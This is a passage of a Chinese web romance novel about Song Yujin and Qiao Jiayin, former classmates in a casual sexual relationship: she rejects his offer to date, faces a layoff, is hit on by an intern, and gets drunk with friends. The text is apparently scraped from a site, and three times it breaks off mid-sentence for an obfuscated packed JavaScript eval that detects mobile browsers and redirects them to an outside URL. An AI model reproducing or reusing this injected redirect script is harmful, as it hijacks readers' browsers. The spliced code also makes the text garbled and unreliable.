先去了高三年级办公室,闫倩座位是空的,已经下班的模样。教学楼转了一圈,去了其他班级,阅览室和图书馆,没见到人,又去了取外卖的后门和那附近一整片,都没找到她。也是像如今这样有几滴雨水的秋夜。反倒是在体育馆遇到刚刚结束训练的廖明。 廖明问:“你怎么在这里?” 宋玉津问他:“你看到乔迦茵了吗?” 对方满脸迷茫地摇摇头,“你找她有事?” “对。”宋玉津道,“回头再说,我先走了。” 他还是走到了中央大楼,夜间为了省电会关掉大部分灯,孔子像还阴恻恻地摆在楼道,太空旷了,走在瓷砖路面的每一步都有回声,宋玉津觉得瘆得慌,草草看了一圈,周遭的办公室和会议室都关了灯,只好回到教室。 进教室时,晚自习已近结束,大家都在收拾东西,三三两两往外走,宋玉津刚好和黎远撞个正着。 他们是室友,本身关系极为熟络,不知自哪天起氛围变得微妙。不过,黎远竞赛获奖后专注于自招,上名校基本是板上钉钉,留在班级里认真念书的时间不多,打照面的机会随之变少。 宋玉津和他点头问好后,两人擦肩而过,他还是忍不住回头问了句。 “你知道乔迦茵去哪了吗?” 令人失望的是,黎远也摇了摇头。 “不知道。”他说,“不过我刚从办公室回来,年级主任还在,你可以问下她——如果乔迦茵不是去办坏事的话。” 应该不会,乔迦茵是被闫倩带走的。宋玉津略作思虑,道了谢,转头向办公室赶去。 “她应该被带到教导处去了。”年级主任说,“闫老师说她和那个什么请愿信的事情有关。” 宋玉津即刻道:“请愿信不是她写的。” “我知道。”年级主任无奈地从镜片后面瞄他一眼,“应该是说网络账号的事情。” “那也不是她。”他了解乔迦茵行事风格。 “我不清楚了。”年级主任看了眼表,“这个点,她也去了蛮久了,可能自己回寝室了吧?你也赶紧回去,别晚了门禁时间。就算在这间学校没几天了,规矩还是遵守一下吧。”后一句话意味深长。 “她包都还在教室。” 年级主任忍不住笑了:“多正常的事,乔迦茵又不是那种带书在寝室熬夜苦读的人。” 宋玉津无言以对,只好说:“那我先走了,老师再见。” 他直接前往教导处,这间办公室位置刚好在中央大楼一角,门关得严实,刚才根本没注意到。 宋玉津抄了条近路,直接走二楼的连接通道,从教学楼赶到中央大楼,唯一的不好是需要直面那个孔子像。 楼道不开灯,他打着手机自带手电沿路过去,照到孔子像时还是心里一跳,然后默诵着《论语》经过。 当他终于赶到教导处,门已经锁了,门缝里没有透出任何光亮。 同一时刻,乔迦茵将伪造的离校申请条递给保安,电动伸缩门缓慢收起。 * 乔迦茵听完,盯着地面那一处思索半晌,说:“所以你那天没找到我,然后没留下任何信息,一句话不说就开开心心走了。” “谁开开心心了,我一点也没有开开心心。”宋玉津无语道,“而且我给你留了。” “没有啊。” “……有的,你没收到而已。”宋玉津快速揭过了这一话题,说,“反正你在检讨书里骂我,我也没听到,互相抵消,扯平了。” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15125205|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …什么骂你,根本没有那种东西。”乔迦茵开始费解了,怎么宋玉津的思路是往这个方向走的。 宋玉津:“啊?我听你表妹和你意思是你在检讨书里把我痛骂了一顿。” 不然贺白晓干嘛突然挑衅一样对他提这个,然后乔迦茵还说什么“当时心情很差,写了很多乱七八糟的”。 乔迦茵皱着眉难以理解地想了一会儿,没忍住低头笑了。 宋玉津被她笑得更加困惑:“那你写了什么啊?” 他真的有点想不明白了。 “你当时帮黎远给我写了什么,我在检讨书里给你写的,也差不多是那种东西。”乔迦茵轻声说,“互相抵消,扯平了。” 宋玉津足足凝固了一分钟。 随后,他才从嘴里吐出几个破碎的字。 “你,是说……” “我不会再说一遍了。”乔迦茵说。 “没事,我听见了。”他说,“我只是在理解。” 宋玉津理解了一会儿,伸手去拉她:“不对,这个不能抵消。” “为什么?” “我没收到啊。”他理直气壮道。 乔迦茵这才抬头看向他,但表情并不像他那么舒展,仍旧是很平淡的模样,道:“不会给你了,时间过去太久了。” 宋玉津怔住。 “很抱歉我之前也骗了你。”乔迦茵看着他说,“我和邵允承没交往,他只是我同事介绍来的对象。” 宋玉津恍惚道:“我有些理解盛霏刚才的心情了。”太多信息,不知道该作何反应。 乔迦茵轻轻叹了口气,宋玉津低声说:“所以,我们在毫无必要的情况下,互相骗了对方……自己的感情状态?” 他说出口,都觉得好荒谬。 乔迦茵说:“我在想你之前说得没错,用戏弄、玩乐的态度对待感情是不对的,假的也成不了真的。” 宋玉津澄清:“我没说过这话。” 乔迦茵:“你在出游的时候跟我说的。” “我原话绝对不是这样。” “反正我这么理解了。你看我们两个人,这段时间的关系,也无非是从隐瞒、欺骗和享乐出发,无比脆弱,也称不上几分感情。我不想这样下去了。” 乔迦茵说,“很遗憾,但是我们就到此为止吧。” 她想了下,说:“你不用送了,我也打车回去吧。” 时间过了凌晨,附近路边开始有打表出租车排队载客,她抬脚径自往那边走,被一把拽住手腕,拉了回去。 身后的人肩宽腿长,这么一扯近乎是将她揽进怀里,但他呼吸不稳,说话也不再带笑了,有点急切地问:“为什么不行了?隐瞒、欺骗和享乐是没错,但我没有觉得这样不好,现在话也已经说开了,这样的关系——这样的关系,放在之前,你可以接受,为什么现在不行?” 乔迦茵说:“我……我不知道!可能我是累了,也可能是想通了。至少我知道,我不喜欢现在这样。” 她挣了一下,说,“你放我出去。” 宋玉津松了手,但眼睛温顺地望向她,低声说:“雨下大了,我送你回去。” 乔迦茵心想着要拒绝,对上他眼睛后,还是抿起唇应下了。 都没带伞,停车场还有点距离,宋玉津解下外套,盖在她头顶,小心遮住她头发和额头,问:“这样可以吗?” 乔迦茵点点头。 他们在雨中一起走回车上。一关上车门,乔迦茵就把他的外套摘下来了。 宋玉津淋了雨,头发和脸湿漉漉的,随意抹了一把,说:“你放后面就行。” 乔迦茵侧身把他外套扔到后座,转回来时,却被他按着肩膀对向自己。 她自己没察觉到,但宋玉津发现了。今晚闹了那么一出过后,她看向他的眼神,其实是带着几分怨恨的。 大概是因为检讨书的内容实在是难以启齿吧。 宋玉津不由得笑了一下,这么多年来,每次看到乔迦茵的种种反应,都还是觉得很有意思。 “那这样行不行?我们炮友的关系到此为止。” 那双眼睛因染上秋雨的水汽,诚恳的神色更加令人心软。 他继续说,“然后交往吧。” 45. 第 45 章 这个地段属于闹市区,坐在车厢里,也能听到外面马路上传来年轻人们的笑闹声和其他车辆驶过的声响,间或有短促的鸣笛。 长达两分钟的时间里,乔迦茵始终没有说话。 没有开灯,只有隔着一层窗玻璃时有时无的光影掠过她脸上。她难得露出怔忪的神情,眼神犹如新生的鹿。 然后是宋玉津不堪忍受这份沉默,逼视着她,又问:“你怎么想的?” 乔迦茵慢慢地提起嘴角笑了一下,轻声说:“算了吧,太奇怪了。” 宋玉津想要再说什么,她快速抬了一下手,稍垂下眼神,继续道,“其实我有一点后悔,当初我们……” 她和宋玉津胡作非为地搞到一起,本身就是个错误。今晚盛霏的出现,贺白晓的出卖,共同点破了这段关系的荒谬和恶心之处,她不想再自欺欺人下去。 乔迦茵突然侧过头避开了对视,面色漠然。不想说下去了,觉得没有意义。但是看到宋玉津的脸又心烦意乱。 存在感过于强烈的人偏偏还问:“你说的是哪个当初?我们开始这段关系的时候,还是高中的时候?” “……谁还和你提高中那点事。”她毫不留情地说,“都过去八百年了。我们以前很熟吗?” 宋玉津附和她:“不熟不熟。” 语气放得轻柔,又好像哄小孩,被乔迦茵侧眸剜了一眼。 她深呼吸了一下,正色道:“我没有和你交往的打算,从来没考虑过,我们没有感情基础,目前我工作忙、不稳定,也不适合进入正式的男女关系,如果之前的那些给了你任何错觉,我很抱歉。总之,我还是希望我们不要再……” 宋玉津一边认真聆听一边帮她补充:“睡觉了。” 乔迦茵被噎了一下,有点无语道:“……嗯,不要再睡觉了。看来你明白我的意思。” 她不想细看宋玉津的表情,很快地瞄了他一眼。 又小声说,“没有责怪你的意思,但实际上自从那次之后,每次看到你,我都有种罪恶感。这种情绪让我很不舒服。” 宋玉津轻声说:“我知道。”乔迦茵有时候即使不说话,他也能猜到她在想什么,包括她做完之后那天早上什么都没说,但宋玉津知道她有一点难过。 在母亲或多或少的影响下,乔迦茵更习惯自己冷血、攻击性的表达,这种细微的、感性的情绪,对她来说其实相当难以启齿。她说完那句后就紧紧抿着唇,脸色当即冷然下来,偏头看右侧窗外。后视镜映照出宋玉津在看她,微垂着头,像一张柔软的羊毛毯。这张羊毛毯因为伤心,以及淋了点雨的缘故,有点蔫了吧唧。 她皱了皱眉,回过头提醒他:“我不喜欢你。” 宋玉津笑了笑,似乎拿她很没办法似的,用有些困扰的语气又说了一遍:“我知道。” 他不再看她,发动了车子。 “先送你回家。”他说,“你放心,我不是那种纠缠不休的无赖。” 他想了想,叮嘱她:“所以别又把我微信拉黑了。” 乔迦茵:“……哦。”她还没想到这茬。 不过宋玉津的预判并非空穴来风,她思索了一下,在这种尴尬状况过后如果他再时不时发消息过来,她大概率真的会直接拉黑掉。 好在这之后的连续多日,宋玉津果真如他所说,并没有纠缠不休。他偶尔会给乔迦茵发一些闲聊的消息,尺度适宜,频率较低,稳稳处在不会拉响乔迦茵警报的安全范围内。不像他前段时间,有事没事就给她发一串乱七八糟的。 反而乔迦茵自己,大约是不太习惯这种转变,工作中时不时还拿起手机确认一眼有没有收到消息。 “你气压好低。”陈安妮在工位上向她搭话,“最近怎么了?” 乔迦茵懒得讲:“没什么。” 她觉得主要是由于紧张,她前一阵子又海投了一大把简历,可能那些公司HR都是差不多的办事效率,流程推进的时间聚集到一起,导致她接下来这周有好几个面试。 “可以多和小邵出去玩玩啊。”陈安妮冲她挤挤眼睛,“我问过了,他对你印象不错的。” 陈安妮大约不知道,她的关心才是乔迦茵不打算和邵允承来真的的原因。 乔迦茵笑一下,这次不委婉了,直接说:“别了,我应该不会考虑他。” “啊,为什么呀?” “不合适。” “我觉得你俩挺搭的……他条件配得上你,性格也还蛮好……” “等等,戴总找我。” 电脑上企业微信弹窗,戴总催一份要交给客户的备忘录,以数据整理为主,乔迦茵上周交给实习生去做了。 但乔迦茵叫来谢康年一问,才知道他根本没做完。 “咦?迦茵姐你之前说不着急的啊。”谢康年表情茫然,“还有组里的其他前辈也给我布置了任务,我就先放着了。” 上周二说的不着急,现在都周一了。戴总发问,就是催她今天尽快给出的意思。 乔迦茵忍着焦躁,问:“还有谁找你干活了?”当时戴总分明说让她来带实习生的! “我看看。”谢康年划拉着企业微信列表,报了几个名字,都是他们组的其他同事。 乔迦茵有些无语,只能飞快道:“你先赶紧做这个报告,尽量今天下班前完成,然后我会跟他们说一声,先别派其他活给你。” 谢康年看着她点了点头。 她和谢康年吩咐完,余光瞥见戴总在办公室内向她招手。 在夜店那晚之后,她还没和戴总私下相处过,稍微磨蹭了一下,还是不大情愿地走了过去,摆出公事公办的态度。 戴总见她进来,道:“把门关上吧。” 等她带上门,又对着自己桌前的椅子道,“坐下说。” 等她坐了,又开始问她工作近况,手上各个项目的进度如何。 他此前叫她来办公室,一般都是开门见山布置工作,哪整这么多有的没的,乔迦茵莫名其妙,问什么答什么。 等进度全部过完,戴总话锋一转,道:“你来公司也有两年了,最近是不是在看其他机会?” 乔迦茵心想,来了。 这场谈话的正题终于揭晓。 在找工作的事,她确信没有告诉给除了陈安妮以外的其他人,但陈安妮很有可能没为她保守秘密。未必是有坏心,或许只是随口说给了其他同事,最后流到戴总耳朵里。 许是看她脸色变幻,戴总温和一笑,说:“不用紧张,我们行业强度大,出差多,的确不适合女生长做,你积累了初步的经验,去外面谋求发展也很正常。” 乔迦茵说:“呃,我不是因为这些——” 戴总打断她,“我都理解,都理解。” 乔迦茵不说话了。 “你知道现在环境在收紧,行业情况不好,我们公司这两年也经受了很大压力。我们组将近二十人,在部门里算是大组,业绩也自然更受老板们的关注。这段时间其实我的压力也很大。相信你也听到其他组的一些消息,一直有人员上的变动,都是高层的决定,所以目前他们觉得我们组人员有些冗余,我也很难辩解。” “迦茵,我对你的能力一向很认可,也希望你能找到更有前景的工作。这次HR来问我要人员优化名单,我填了你的名字,或许这些天HR就会来找你谈话了。” “你前两年的评分都很高,所以未必是离职,或许会安排你转组也说不定。” 被裁一事,乔迦茵多多少少早有预料,因而当它真正被宣告出来的这一刻,心情反而异样的平静,只是觉得果然如此。 她面色如常地离开了戴总办公室,走到外面开放工位中,淡淡站了一会儿,思考还有哪些事情没做。 随后果断走到方才谢康年所说的那几个同事附近,冷冷道:“戴总要求intern跟我们这边的项目,你们就算要给他派活,也该知会我和安妮一声。” 有人回过头道:“啊,迦茵啊,不好意思,我上周那个东西确实是比较急,没有人做。” “是啊是啊,之后我会跟你说的。” 乔迦茵刻意没压音量,让周围其他人都听得见:“谁的东西不急?再怎么说也有先来后到,插队算是什么意思?” 她话说得重,这会儿没人接了,便冷着脸转身回工位,然后点了下谢康年:“你坐过来,我看着你做,有什么问题直接问我。” 谢康年应了一声,抱着电脑和电源线小跑过来,坐在她旁边。 乔迦茵凑过去看了一眼他屏幕上的进度,忍不住眉头大皱:“你这个数字看着不对,你从哪里拉的?” 谢康年不明所以:“嗯?就是从同花顺贴过来的。” “你重新导出一次我看看。” 一看过程,果然是错的,对实习生发火没用处,乔迦茵只能重新教了一遍,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15157819|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着谢康年导了一次,发觉还是不对,又上手教了一遍,谢康年这才会了。 陈安妮在旁边看不下去,悄悄发消息给她:“其实教他的时间都可以自己做完了,这种一路水上来的二代子弟脑子不好使,跟不上我们工作的。” “好歹是来实习,也不能什么都不教。”乔迦茵回她。 陈安妮不能苟同,只说:“还是你有耐心。” 乔迦茵从没想过有朝一日自己能和耐心一词扯上联系,顿时啼笑皆非。她哪是愿意教人,反正在公司的时间也不长了,这段日子能顺利交差就行,教与不教实习生,也不会改变自己的处境,索性发发善心。戴总说HR有几率让她转组,但这种选择大概率是中后台岗位,她没有兴趣,不能称得上是一个选择。 谢康年光是学拉数据就花了太久,到下班时间也没做完,主动加了一会儿班,交了东西出来。 乔迦茵粗看一眼,意识到自己还要修改,说:“你先走吧。” 年底业务量小,加班没有之前猛烈,有工作也可以回去做,大部分同事都拿着电脑回家了,办公室里剩的人不多。陈安妮也准备走,走之前先去上洗手间。 那句吩咐谢康年听见了却没动,站在乔迦茵桌边垂了眸看她。 她合上电脑,准备回家再继续做这份备忘录,抬头问:“还有什么事?” “迦茵姐,你平时下班后会做些什么?” 乔迦茵随意回答:“运动、看电影吧,有时候会去外面吃点好的。” “太巧了,我也一样。”谢康年说,“所以我想问,你今晚有空吗?” 乔迦茵:“?” 谢康年弯起唇,手指间转动着一把车钥匙:“看场电影吃个饭?” 乔迦茵的动作凝固了。 他在撩她吗?一个实习生为什么会撩自己的带教老师? 她这段时间没直白地怼过他,但对他低下的工作能力的恼火和不满其实还挺明显的,他难道都没感受到? 还是说,因为她表达得不够直接,这些情绪被谢康年误读成了另一种打情骂俏的意思? “你误会了。”乔迦茵将电脑收进包里,哭笑不得道,“我今晚还要加班,改你刚做的那个东西。” 谢康年竟然不觉得尴尬,露出一副了然神情:“是不是进展太快?但我这个人就是这样的,节奏比较快,OK,既然你不愿意直接和我出去的话,我先陪你一起下班吧。” 乔迦茵没回答这个提议,她脑子里在回忆和谢康年接触以来的所有交流,忽然意识到一点。 “我不是什么对职场礼仪有强烈要求的人,但我听过你和其他同事对话,你对戴总和一些男同事都会说‘您’,为什么从来不会在和我沟通时用这个字?” 谢康年有些意外地睁大眼睛:“这很重要吗?我以为这会加强我们之间的距离感。” “距离感是好东西。” “你们还不下班吗?”旁侧插来一句,陈安妮从洗手间回来了,也不知道听去多少。 乔迦茵答:“准备走了。” “嗯你动作快点吧。”陈安妮说,“之前答应我今天要陪我去买零食的。” 乔迦茵看了她一眼,道:“噢对,那我们赶紧走吧。” 两个女人东西收起来都极快,拎起电脑就走,把谢康年甩在身后。 进了电梯,乔迦茵道了声谢。 买零食是无中生有,她和陈安妮没有多少私交。陈安妮大约是听到她和谢康年的几句对话,上前解围。 陈安妮笑了,也觉得这事荒唐,但还是提醒道:“他可是VVVIP,你拒绝他也得态度好点,不然我们可都惨了。” 不关我事,乔迦茵心想,我都快跑路了。 她拿出手机翻社交媒体。 她很早前在网上无意间刷到过戴总的太太的账号,分享生活为主,一派岁月静好。当时不感兴趣,看到就当看过,扫一眼就退出了。自从前晚过后,她又在互联网里各种搜索,将这个主页找了回来。 正在翻看的时候,顶端弹出微信消息。 宋玉津问:【下班了吗?我今晚要加班了】 乔迦茵点进去回他:【我回家加】 她思忖半晌,又发了一条消息过去。 【难道我很容易给人错觉吗?】 宋玉津过了一会儿才回的。 【是啊,不然我怎么变成现在这样?】 46. 第46章 乔迦茵没再回复消息,宋玉津猜她是有所警觉,不想问下去。 他今夜要在公司加班,对着电脑漫不经心地敲着字。月底集中出报告,大批人都留在办公室,三三两两说着话,周遭并不算多么安静。 宋玉津在有点喧闹和浮动的氛围里,又忍不住去想乔迦茵。 前夜向她提出那话,算是情急之下的一时冲动,但也毋庸置疑出自真心。说出口的时候,就料到十之八九会被她拒绝。 乔迦茵此人,外貌协会加三分钟热度,耽溺感官上的享乐,对掏心掏肺的真感情反倒存有恐惧,见而避之不及。高中时期有部悲剧结局的外国爱情电影上映,极其火爆,哭倒一大片观众(宋玉津亦在其列),独独乔迦茵觉得“太肉麻了看得想逃跑”。 宋玉津觉得,他的交往提议虽然话语轻飘飘,仿佛随口一提,聊天气一样,但还是引发了乔迦茵脑内的警笛,被她本能地察觉,这个人要和她谈认真的,因而当即推三阻四地拒绝。 悲恸称不上,打击还是有的。 好歹同学一场,他也算是和她相识多年,怎么好像完全没有感情的积累。 但是他又不得不承认,乔迦茵本就是独来独往的冷血性格,不会因为多认识他几年而轻易动摇。对她来说,他似乎一直处在一个无足轻重的地位,轻拿轻放,哪天就会被断舍离。首先,他这无用的英俊外貌本就不符合乔迦茵的取向——她明显更喜欢邵允承、廖明那一挂的体育生外型;其次,乔迦茵极其吝啬于赞美,很少会夸他——大多时候是阴阳怪气,噢除了在床上曾给过一句好评,但由于宋玉津本人经验之匮乏,他无法辨别那是否是一句真心话,还是又是讽刺,为了自尊他也选择了不去细想此事。 这么看,他可能连贺白晓都不如——她至少可以在乔迦茵的房子里赖着不走! 乔迦茵工作压力大,公司有裁员规划,从假期出行起就持续处在低气压的状态,神经绷到极致,就拿他来宣泄,她在床上的状态几乎像是有瘾——但是发作完就好了,还神采奕奕,跟那种无药可救的老烟枪戒断多年之后终于抽了根烟似的。 原来如此,宋玉津想到这里恍然大悟,我是一支烟。 他想立刻就发消息告知乔迦茵这一重大思考结论,随后意识到自己正处于类似waitlist的阶段,不能贸然去打扰她以免惨遭拉黑,于是悻悻作罢。 不知道她现在在干什么,宋玉津想,在家加班就不无聊吗? * 乔迦茵打了个巨大的喷嚏。 “你感冒了?”贺白晓把自己的椅子往旁边挪,“别传染给我。” 乔迦茵翻了个白眼:“放心吧,你没法感冒的。” 这攻击有点过时,贺白晓听愣了一下,没反应过来。 乔迦茵张口要解释,随即想到这会让攻击力减半,恼怒地起了另一个话题:“你还要选多久的外卖?” 她要加班,贺白晓不会开火,她俩晚饭还没个着落。 乔迦茵懒病犯了,不想翻外卖软件,交给爱自说自话的贺白晓来挑。 结果挑到现在,她什么都想吃,什么都犹豫不决。 “哎你再等等。”贺白晓继续看手机。 等你大爷,乔迦茵耐心耗尽,脑子里滚了一个随机数:“新白鹿。” “不要,不想吃。” “轮不到你拒绝了。”乔迦茵拿起手机点开蓝色软件。 手上的手机忽然自顾自放起音乐。 屏幕延迟了一秒才显示,盛霏来电。 乔迦茵接起来:“喂?” 贺白晓心想好机会,现在立刻把外卖点了,乔迦茵就没的选择! 电话那边连续说了几句话,贺白晓听不太清楚,只听到乔迦茵“嗯”了几声。 然后乔迦茵就把手伸过来,把她手机一把扣到桌子上去了。 贺白晓愤怒道:“你干嘛!” 乔迦茵说:“盛霏过来吃饭,点个三人份的。” 她瞥了眼贺白晓屏幕,又表示,“换一家,你这家不好吃,点了必后悔。” 贺白晓要炸毛,乔迦茵又转过头去讲电话了。 她一腔怨气没处发,怏怏地划回去点新白鹿,毕竟乔迦茵都说了另一家必后悔,人不能拿自己的餐食开玩笑。 盛霏情绪不佳,是来找乔迦茵喝酒解闷的,晚餐属于顺带,吃什么都行。 她拎了酒来,贺白晓开的门,乔迦茵还在对着电脑处理工作。 “能不能不干了?”盛霏说,“让工作去死。” 乔迦茵看她一眼,回答:“马上就不干了。” 她刷了几条格式,想了一下,还是先把电脑往旁边推了推,说:“你打算怎么办?” 盛霏电话里说,她弟弟谈了个女朋友,不知怎么晕头转向死活要结婚了,家里顺着他意思来,现在整天在问盛霏要钱给她弟买房。 “我毕业以来一共就攒了不到十万,结果他们直接向我要十万,是不是完全没考虑过,我要是没了存款怎么办?”盛霏提起来就气,“我爸也就算了,连我妈也来打电话劝我!还说知道我有能力很快把钱赚回来!我赚的钱都是我自己的,凭什么给他啊?” “十万?真的假的?”贺白晓惊奇道,“你家长连十万都拿不出来,得问女儿要?” 盛霏:“……” “不好意思,我表妹就是这种人,你当她放屁就行。”乔迦茵无奈道,“我还是和之前一样的方案,拉黑吧。” 盛霏摇摇头,在她身边垂头丧气地坐下:“我做不到你那么决绝,可能你是独生所以不懂,我和我弟是有亲情的,即使我知道……你明白吗?” “她不明白。”贺白晓说,“你和乔迦茵谈什么亲情啊,我和她还是亲戚呢。” “非要让我和你谈钱也行。”乔迦茵说,“我这个房子一个月七千,你记得摊一半。” “你俩别吵架啊。”盛霏担忧道,“十万我是绝对拿不出来,但多多少少要给一点,毕竟是我弟。他不学无术的,自己确实赚不到钱。” “一点是多少?” 盛霏想说五万,在两边投射过来的威严目光下缩了缩脖子,说:“四……三四万吧。” 贺白晓想了想:“好像也还行,但是你非要给吗?你自己就不用买房子了?” “我确实没想过这个哎。”盛霏摸了摸鼻子,“因为我也不想结婚生子,好像就不存在买房的必要,一辈子租房都无所谓。” 贺白晓觉得不是这个道理:“你不买房,你弟买房子要钱;你不结婚生子,等你弟生了小孩,又好找你要钱。” 乔迦茵诧异地看了一眼贺白晓,没想到她竟然有点智商。 盛霏问:“我的个人选择和我弟不相关啊,怎么又和给钱扯上关系?” “她的意思是不要开这个口子,给一次三万就会有下次六万九万十二万。”乔迦茵说,“你给个三千礼金意思意思得了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15160499|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那怎么行?三千也实在太敷衍了。” “你家里人既然问你要得出十万,明显就是知道你存款有多少,你是不是跟他们说了?” “……是。” “那好了。”乔迦茵道,“给三万也是被骂,给三千也是被骂,不如三千。” 贺白晓转念一想:“我看还是一毛钱不要给了,反正都是被骂,你还是拉黑吧。” 盛霏说:“你们两个是亲姐妹吧?” 刚好门铃响了,乔迦茵指使贺白晓去开门拿外卖。 话题告一段落,她视线移回电脑上,继续改她的备忘录,盛霏又放低声音,悄悄问她:“你和宋玉津怎么样了?” 乔迦茵反应很大地赫然转身:“怎么突然提他?” “你知道我最喜欢八卦了!”盛霏压着声音道,“上次回去之后,我一直想问你们两个什么情况?” “没有情况了,我不打算再见他。” “啊,因为我吗?其实……” 贺白晓将外卖袋子往桌上一搁:“你们两个嘀嘀咕咕说什么呢?” 两人安静了下,乔迦茵上手来拆外卖包装。 “先吃饭吧。” “那我开酒了,J你杯子放在哪里?” 氛围有些许诡异,三人默默拆完了包装,倒了酒,盛霏忽然道:“其实我真的不介意这个,虽然当时有点震惊,但我回去想过之后,还是希望你能开心最好。” 贺白晓莫名其妙道:“你在对谁说话?” 乔迦茵说:“大人讲话小孩别插嘴。” 她低头吃了一口饭,又听盛霏说:“反正我不想要因为我的关系,让你觉得愧疚,这样我就变成了你们关系的障碍。” “你太能忍了,盛霏。”乔迦茵抬头说,“很多时候其实你应该生气的。” 盛霏怔了一下:“但我真的不会为这件事对你生气。我和宋玉津本来感情就不深,我和他互相合不来,了解得也不多,如果要为他和你闹僵……我觉得很不值。而且我们假期之前就已经分手了。” 贺白晓终于听懂:“噢你们在说那个男的。” 盛霏继续说:“J,虽然我们认识的时间不算长,之前交流得也不多,但和你一起出去玩得很开心,我觉得你是个很好的朋友,想和你一直相处下去的。” 贺白晓:“我觉得你识人眼光不是很好。” 乔迦茵对贺白晓道了声闭嘴,放下筷子看盛霏,难得露出有点茫然,似乎不知该作何反应的神色。 其实如果宋玉津在场,他会发现此时乔迦茵的神情和自己提出交往那时极其相似,是一种想要回避又回避不掉的慌乱。 乔迦茵最终还是笑一下,握起杯子说:“喝酒吧,干杯。” 那两位都兴致勃勃地举杯。 “干杯!” —— 乔迦茵当晚的回忆止步于此。 次日早晨,她在不绝于耳的门铃声中头晕目眩地醒来,发现贺白晓趴在自己床边呼呼大睡,而盛霏四仰八叉地躺在客厅沙发上。 她找了半天没找到自己右边拖鞋,索性把左脚的也蹬了,光着脚过去开门。 宋玉津站在门外,一脸匪夷所思。 乔迦茵震惊地“啊”了一声,脑子还是晕的,看了他半天,问:“你怎么在这?” 宋玉津说:“你自己昨晚大半夜打电话给我。” 乔迦茵:“什么?” 47. 第 47 章 宋玉津隐约感觉到了她们昨晚的混乱程度,沉吟片刻,说:“我还是先不进来了。” 乔迦茵忍着宿醉后的头痛“嗯”了一声,侧过头余光瞥见躺在沙发上衣衫不整的盛霏,想也没想把门关上了。 在门外险些被重创鼻梁的宋玉津:“……” 乔迦茵回自己卧室,踹了贺白晓一脚,后者骂了句脏话,醒转过来,昏昏沉沉地问:“你有事吗?” 乔迦茵抖了抖被子和床单,又拍了一遍自己枕头,一无所获,转头问贺白晓:“你看到我手机了吗?” “你手机干嘛问我。”贺白晓半眯着眼睛起身伸懒腰,“……咦,我手机哪去了?” 乔迦茵懒得理她,径自到窗边拉开窗帘,霎时间阳光遍溢房间,贺白晓尖叫着捂住双眼。 乔迦茵也闭了闭眼睛才适应强光,走过去推了贺白晓一把:“别叫了。昨天我们几点睡的?” “困晕了谁还会看时间啊!”贺白晓怒道。 “你不能回忆一下,我们昨晚喝到什么时候?”乔迦茵自己边问边回想,“一开始只是吃饭喝了一点,然后好像一直在聊天,玩游戏——噢,你叫我们不要看手机,把手机收走了。” 贺白晓辩驳:“我没有收走,只是把三个手机堆在一起放旁边桌上了,我和朋友们出去喝酒都这样,专心玩游戏嘛。” 她断片的程度比乔迦茵没好到哪里去,费力思考了一会儿,冒出一句,“是不是你把我的手机抢走了?” “没印象。” “不对,就是你,你拿我手机打电话去了。” 乔迦茵难以理解地看了贺白晓一眼,不想回复了。 她到桌边去开电脑,打算先看一眼昨晚的微信记录。贺白晓已经到客厅去试图叫醒盛霏。 乔迦茵瞥见她动作,随口道:“放弃吧,你叫不醒她的。” 她话没说完,贺白晓大叫一声。 “怎么了?” “她衣服湿的!”贺白晓烦躁地甩着手,“我靠,沾我一手水。” 屏幕上windows刚转出来,乔迦茵输完密码,起身去看。 盛霏还是和当时和她去邻省玩那样,一睡过去就是彻底的不省人事,九头牛拉不回来。 放在平时乔迦茵能把她暴力唤醒,眼下实在没那个力气。 贺白晓讲话夸张,乔迦茵捻了捻盛霏衣角,是有点水,已经半干了,指腹冰凉触感。 她从旁边随便拣了件外套给盛霏盖上,转头问贺白晓:“她怎么搞的?” 望见对方一脸懵相,乔迦茵立刻后悔了,问她还不如自己思考。 贺白晓倒是记忆回炉似的,扬起眉毛“啊”了一声,随后闭嘴不说话了。 乔迦茵不明所以地瞥她一眼,望见她那和着火那晚如出一辙的心虚表情,猛地猜到什么,急速向浴室走去。 贺白晓没拦得住她,只好跟在后面,看她从浴缸那边的窗台上拿来一物,眼角抽动。 乔迦茵:“这不是我的手机吗?” * 时间退回到昨夜,贺白晓将三个人的手机向下倒扣,叠起来放在桌上。 此后三人闲聊着喝酒吃饭,但盛霏始终有些心神不宁。 稍晚一点时候,乔迦茵收拾了桌上的残羹冷炙,顺便去厨房看看还有没有点别的下酒小食弄来吃,盛霏说了声去洗手间,乔迦茵背对着她嗯了一声,然后喊:“贺白晓你把这两袋垃圾扔出去。” “哦。”贺白晓不情不愿地拎了袋子出门。 